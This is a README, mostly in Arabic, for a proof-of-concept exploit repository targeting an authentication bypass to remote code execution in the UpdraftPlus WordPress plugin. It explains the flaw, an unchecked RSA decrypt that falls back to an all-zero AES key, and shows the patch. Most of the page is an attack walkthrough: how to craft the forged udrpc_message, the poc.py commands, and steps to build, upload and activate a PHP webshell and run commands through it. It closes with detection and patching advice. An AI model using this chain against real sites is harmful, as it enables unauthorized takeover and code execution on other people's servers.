
CVE-2026-10795 – تجاوز المصادقة في UpdraftPlus
CVE-2026-10795 – تجاوز المصادقة في UpdraftPlus
⚠️ إخلاء مسؤولية: هذا المستودع مخصص لأغراض تعليمية فقط.
استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
المؤلف غير مسؤول عن أي إساءة استخدام.
| الحقل | التفاصيل |
|---|
| البرنامج المساعد | UpdraftPlus: WP Backup & Migration |
| النسخ المتأثرة | ≤ 1.26.4 |
| النسخة المصححة | 1.26.5 |
| درجة CVSS | 8.1 (عالية) |
| نوع الثغرة | تجاوز المصادقة دون الحاجة إلى تسجيل الدخول → RCE |
| مكتشف الثغرة | vtim (برنامج مكافآت الأخطاء في Wordfence) |
| المكافأة | $5,200 |
يسجّل UpdraftPlus مستمعًا لـ RPC بدون مصادقة عند كل تحميل صفحة للمواقع المتصلة بـ UpdraftCentral.
لا تتحقق الدالة decrypt_message() من القيمة المُرجعة من $rsa->decrypt().
عندما يفشل فك تشفير RSA، يتم تمرير false إلى Rijndael::setKey()، وهو ما يتحول إلى مفتاح AES-128 حتمي مكوّن من أصفار بالكامل.
يمكن للمهاجم:
udrpc_message مشفّرة بالمفتاح الصفري// updraftplus/includes/class-remote-communications-v2.php
// Lines 460-491 (version 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ No return value check!
$rij->setKey($sym_key); // false → all-zero key
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Added in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # Main exploit script
├── requirements.txt # Python dependencies
├── payloads/
│ ├── list_plugins.py # List installed plugins
│ ├── upload_shell.py # Upload webshell plugin
│ └── activate_plugin.py # Activate uploaded plugin
├── shell/
│ ├── build_shell.py # Builds webshell ZIP
│ └── test-shell.php # Minimal PHP webshell
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
شغّل: Apache + MySQL
# Place WordPress in htdocs
C:/xampp/htdocs/wordpress/
# Install vulnerable plugin version
# Download: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
لوحة تحكم WordPress → الإعدادات → UpdraftPlus → تبويب UpdraftCentral → اتصال
⚠️ مطلوب: يجب أن يكون الموقع متصلاً بـ UpdraftCentral حتى تكون الثغرة قابلة للاستغلال.
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# Step 1: Build the shell ZIP
python shell/build_shell.py
# Step 2: Upload
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# Step 3: Activate
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# Step 4: Test RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. Craft malformed RSA-encrypted sym_key (garbage bytes)
│
├─ 2. Encrypt RPC payload with ZERO AES-128 key (0x00 * 16)
│
├─ 3. Build udrpc_message:
│ [3-byte hex len][fake_sym_key][16-byte hex cipherlen][ciphertext]
│
├─ 4. POST to target (no auth, no nonce, no cookies needed)
│
└─ 5. Server-side:
rsa->decrypt(garbage) → false
setKey(false) → 0x00 key
decrypt(ciphertext) → our payload ✅
wp_set_current_user() → admin access
RPC command executes → RCE 💀
Update UpdraftPlus to version 1.26.5 immediately.
# Look for suspicious POST requests with udrpc_message
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence users are protected since June 3, 2026
- Unexpected plugin installations
- New PHP files in wp-content/plugins/
- POST requests to WordPress root with udrpc_message parameter
- Unexpected admin-level actions in WordPress logs
| التاريخ | الحدث |
|---|---|
| 1 يونيو 2026 | تم إرسال الثغرة عبر برنامج مكافآت الأخطاء في Wordfence |
| 3 يونيو 2026 | تم التحقق منها والإفصاح عنها للبائع |
| 3 يونيو 2026 | تم نشر قاعدة جدار الحماية Wordfence Premium |
| 4 يونيو 2026 | أقرّ البائع بالثغرة |
| 5 يونيو 2026 | تم إصدار التصحيح (v1.26.5) |
| 3 يوليو 2026 | تفعيل الحماية المجانية Wordfence Free |
MIT License – For educational use only.
Unauthorized use against systems you don't own is illegal.